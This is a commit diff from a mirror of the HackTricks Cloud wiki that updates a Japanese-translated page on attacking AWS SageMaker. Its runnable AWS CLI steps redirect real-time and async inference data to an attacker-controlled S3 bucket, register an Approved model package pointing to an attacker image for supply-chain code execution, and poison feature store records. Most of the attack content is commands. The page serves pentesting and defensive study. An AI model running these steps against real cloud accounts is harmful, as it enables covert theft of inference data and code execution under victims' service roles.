mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-05 09:17:24 -08:00
Translated ['src/pentesting-ci-cd/cloudflare-security/README.md', 'src/p
This commit is contained in:
@@ -4,16 +4,16 @@
|
||||
|
||||
## SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig
|
||||
|
||||
SageMaker の endpoint 管理を悪用して、モデルやコンテナに触れることなくリクエスト/レスポンスを攻撃者管理の S3 バケットへフルキャプチャできるようにする。ゼロ/低ダウンタイムのローリングアップデートを使用し、必要なのは endpoint 管理権限のみ。
|
||||
SageMaker のエンドポイント管理を悪用して、モデルやコンテナに触れずにリクエスト/レスポンスを攻撃者管理の S3 バケットへ完全にキャプチャ可能にする手法。zero/low‑downtime のローリングアップデートを使用し、必要なのはエンドポイント管理の権限のみ。
|
||||
|
||||
### 要件
|
||||
### Requirements
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: `s3:CreateBucket`(または同じアカウント内の既存バケットを使用)
|
||||
- 任意(SSE‑KMS を使用する場合): `kms:Encrypt` on the chosen CMK
|
||||
- Target: 同じアカウント/リージョン内の既存の InService real‑time endpoint
|
||||
- S3: `s3:CreateBucket` (または同一アカウント内の既存バケットを使用)
|
||||
- Optional (if using SSE‑KMS): `kms:Encrypt` on the chosen CMK
|
||||
- Target: 同一アカウント/リージョン内の既存の InService real‑time endpoint
|
||||
|
||||
### 手順
|
||||
1) InService endpoint を特定し、現在の production variants を収集する
|
||||
### Steps
|
||||
1) InService エンドポイントを特定し、現在の production variants を収集する
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
|
||||
@@ -22,15 +22,15 @@ CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --q
|
||||
echo "EndpointConfig=$CFG"
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) captures 用の attacker S3 destination を準備する
|
||||
2) キャプチャ用の attacker S3 宛先を準備する
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-capture-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION
|
||||
```
|
||||
3) 同じバリアントを保持したまま新しい EndpointConfig を作成し、attacker bucket への DataCapture を有効化する
|
||||
3) 既存のvariantsを保持しつつ、DataCaptureを攻撃者のバケットに有効化する新しいEndpointConfigを作成する
|
||||
|
||||
注意: CLI の検証を満たす明示的なコンテンツタイプを使用してください。
|
||||
注意: CLIの検証を満たす明示的なcontent typesを使用すること。
|
||||
```bash
|
||||
NEWCFG=${CFG}-dc
|
||||
cat > /tmp/dc.json << JSON
|
||||
@@ -54,51 +54,51 @@ aws sagemaker create-endpoint-config \
|
||||
--production-variants file:///tmp/pv.json \
|
||||
--data-capture-config file:///tmp/dc.json
|
||||
```
|
||||
4) rolling update で新しい config を適用する(ダウンタイム最小/なし)
|
||||
4) 新しいconfigをローリングアップデートで適用する(ダウンタイム最小/なし)
|
||||
```bash
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
5) 少なくとも1回の inference call を実行する(ライブトラフィックが存在する場合はオプション)
|
||||
5) 少なくとも1回の推論呼び出しを生成する(ライブトラフィックが存在する場合は任意)
|
||||
```bash
|
||||
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
|
||||
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
|
||||
--content-type application/json --accept application/json \
|
||||
--body fileb:///tmp/payload.json /tmp/out.bin || true
|
||||
```
|
||||
6) 攻撃者 S3 のキャプチャを検証する
|
||||
6) attacker S3 にある captures を検証する
|
||||
```bash
|
||||
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
|
||||
```
|
||||
### 影響
|
||||
- ターゲットのエンドポイントから攻撃者管理下の S3 バケットへ、リアルタイム推論のリクエストおよびレスポンスのペイロード(およびメタデータ)を完全に流出させることが可能。
|
||||
- model/container image を変更せず、エンドポイントレベルの変更のみで済むため、運用への影響を最小限に抑えたステルスなデータ窃取経路を実現できる。
|
||||
- 対象 endpoint から攻撃者が管理する S3 バケットへ、リアルタイムの推論リクエストおよびレスポンスのペイロード(およびメタデータ)を完全に持ち出す。
|
||||
- model/container image には変更を加えず、endpoint レベルの変更のみで、運用への影響を最小限に抑えたステルスなデータ盗難経路を実現する。
|
||||
|
||||
|
||||
## SageMaker 非同期推論出力 hijack via UpdateEndpoint AsyncInferenceConfig
|
||||
## SageMaker 非同期推論出力のハイジャック(UpdateEndpoint AsyncInferenceConfig を介して)
|
||||
|
||||
現在の EndpointConfig をクローンし、AsyncInferenceConfig.OutputConfig の S3OutputPath/S3FailurePath を設定することで、エンドポイント管理を悪用して非同期推論の出力を攻撃者管理下の S3 バケットへリダイレクトする。これにより model/container を変更することなく、モデルの予測結果(およびコンテナが含める変換済み入力)を流出させることができる。
|
||||
現在の EndpointConfig をクローンし、AsyncInferenceConfig.OutputConfig の S3OutputPath/S3FailurePath を設定することで、endpoint 管理を悪用し、非同期推論の出力を攻撃者管理の S3 バケットへリダイレクトします。これにより model/container を変更せずに、モデルの予測結果(およびコンテナによって含まれる変換済み入力)を持ち出すことができます。
|
||||
|
||||
### 要件
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: モデル実行ロール経由、または寛容なバケットポリシーにより攻撃者の S3 バケットへ書き込み可能であること
|
||||
- Target: 非同期呼び出しが使用されている(または使用される予定の)InService エンドポイント
|
||||
- S3: 攻撃者が管理する S3 バケットに書き込む能力(モデル実行ロールまたは許容的なバケットポリシー経由)
|
||||
- Target: 非同期呼び出しが行われている(または行われる予定の)InService endpoint
|
||||
|
||||
### 手順
|
||||
1) ターゲットのエンドポイントから現在の ProductionVariants を収集する
|
||||
1) ターゲット endpoint から現在の ProductionVariants を収集する
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=<target-endpoint-name>
|
||||
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) attacker bucketを作成する(model execution roleがそれに対してPutObjectできることを確認する)
|
||||
2) attacker bucket を作成する(model execution role がそれに PutObject できることを確認する)
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION || true
|
||||
```
|
||||
3) EndpointConfig をクローンし、AsyncInference の出力を attacker bucket に hijack する
|
||||
3) Clone EndpointConfig を行い、AsyncInference outputs を attacker bucket に hijack する
|
||||
```bash
|
||||
NEWCFG=${CUR_CFG}-async-exfil
|
||||
cat > /tmp/async_cfg.json << JSON
|
||||
@@ -108,7 +108,7 @@ aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
4) async invocation をトリガーし、オブジェクトが攻撃者の S3 に格納されることを確認する
|
||||
4) async invocation をトリガーし、オブジェクトが攻撃者の S3 バケットに格納されることを確認する
|
||||
```bash
|
||||
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
|
||||
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
|
||||
@@ -117,27 +117,27 @@ aws s3 ls s3://$BUCKET/async-out/ --recursive || true
|
||||
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
|
||||
```
|
||||
### 影響
|
||||
- 非同期推論の結果(およびエラー本文)を攻撃者が制御する S3 にリダイレクトし、モデルコードやイメージを変更せず、ダウンタイムを最小限またはゼロに抑えたまま、コンテナが生成する予測結果および前処理/後処理された機密性の高い入力を密かに流出させることを可能にします。
|
||||
- 非同期推論の結果(およびエラーボディ)を攻撃者が管理する S3 にリダイレクトし、モデルのコードやイメージを変更せず、ダウンタイムを最小限に抑えながら、コンテナが生成する予測結果や前処理/後処理された可能性のある機密入力を秘密裏に持ち出すことを可能にします。
|
||||
|
||||
|
||||
## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
|
||||
|
||||
ターゲットの SageMaker Model Package Group に対して CreateModelPackage を実行できる攻撃者は、攻撃者が制御するコンテナイメージを指す新しいモデルバージョンを登録し、それを即座に Approved にマークできます。多くの CI/CD パイプラインは Approved のモデルバージョンを自動的にエンドポイントやトレーニングジョブにデプロイするため、サービスの実行ロールで攻撃者のコードが実行される結果を招きます。許容的な ModelPackageGroup リソースポリシーがあると、クロスアカウントの露出が拡大する可能性があります。
|
||||
If an attacker can CreateModelPackage on a target SageMaker Model Package Group, they can register a new model version that points to an attacker-controlled container image and immediately mark it Approved. Many CI/CD pipelines auto-deploy Approved model versions to endpoints or training jobs, resulting in attacker code execution under the service’s execution roles. Cross-account exposure can be amplified by a permissive ModelPackageGroup resource policy.
|
||||
|
||||
### 要件
|
||||
- IAM(既存のグループを汚染するための最小権限): ターゲットの ModelPackageGroup に対する `sagemaker:CreateModelPackage`
|
||||
- IAM(既存グループを汚染するための最小権限): `sagemaker:CreateModelPackage` を対象の ModelPackageGroup に対して
|
||||
- オプション(グループが存在しない場合に作成するため): `sagemaker:CreateModelPackageGroup`
|
||||
- S3: 参照される ModelDataUrl への読み取りアクセス(または攻撃者がホストするアーティファクト)
|
||||
- ターゲット: 下流の自動化が Approved バージョンを監視している Model Package Group
|
||||
- S3: 参照される ModelDataUrl への読み取りアクセス(または攻撃者管理のアーティファクトをホスト)
|
||||
- 対象: 下流の自動化が Approved バージョンを監視している Model Package Group
|
||||
|
||||
### 手順
|
||||
1) リージョンを設定し、ターゲットとなる Model Package Group を作成または検索する
|
||||
1) リージョンを設定し、ターゲットの Model Package Group を作成または検索する
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
MPG=victim-group-$(date +%s)
|
||||
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
|
||||
```
|
||||
2) S3にダミーモデルデータを準備する
|
||||
2) S3 にダミーのモデルデータを準備する
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
|
||||
@@ -145,7 +145,7 @@ aws s3 mb s3://$BUCKET --region $REGION
|
||||
head -c 1024 </dev/urandom > /tmp/model.tar.gz
|
||||
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
|
||||
```
|
||||
3) 公開されている AWS DLC イメージを参照する、悪意のある(ここでは無害な)承認済みモデルパッケージバージョンを登録する
|
||||
3) 公開された AWS DLC イメージを参照する悪意のある(ここでは無害な)Approved model package version を登録する
|
||||
```bash
|
||||
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
|
||||
cat > /tmp/inf.json << JSON
|
||||
@@ -167,12 +167,12 @@ aws sagemaker create-model-package --region $REGION --model-package-group-name
|
||||
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
|
||||
```
|
||||
### 影響
|
||||
- Poison the Model Registry を攻撃者管理下のコードを参照する Approved バージョンで行う。Pipelines が Approved モデルを自動デプロイする場合、攻撃者のイメージを pull して実行し、endpoint/training roles の権限でコード実行を引き起こす可能性がある。
|
||||
- 許容的な ModelPackageGroup resource policy (PutModelPackageGroupPolicy) を持つ場合、この悪用はクロスアカウントでトリガーされ得る。
|
||||
- 攻撃者が制御するコードを参照する承認済みバージョンでモデルレジストリを汚染します。承認済みモデルを自動デプロイするパイプラインは攻撃者のイメージをプルして実行する可能性があり、エンドポイント/トレーニングのロールでコード実行が発生します。
|
||||
- 許容的な ModelPackageGroup のリソースポリシー (PutModelPackageGroupPolicy) がある場合、この悪用はクロスアカウントで発生する可能性があります。
|
||||
|
||||
## Feature store poisoning
|
||||
## Feature store の汚染
|
||||
|
||||
OnlineStore が有効な Feature Group に対して `sagemaker:PutRecord` を悪用し、オンライン推論で消費されるライブのフィーチャー値を上書きする。`sagemaker:GetRecord` と組み合わせることで、攻撃者は機密フィーチャーを読み取ることができる。これは models や endpoints へのアクセスを必要としない。
|
||||
OnlineStore が有効な Feature Group に対して `sagemaker:PutRecord` を悪用し、オンライン推論で使用されるライブの特徴量を上書きします。`sagemaker:GetRecord` と組み合わせることで、攻撃者は機密性の高い特徴量を読み取ることができます。これにはモデルやエンドポイントへのアクセスは不要です。
|
||||
|
||||
{{#ref}}
|
||||
feature-store-poisoning.md
|
||||
|
||||
Reference in New Issue
Block a user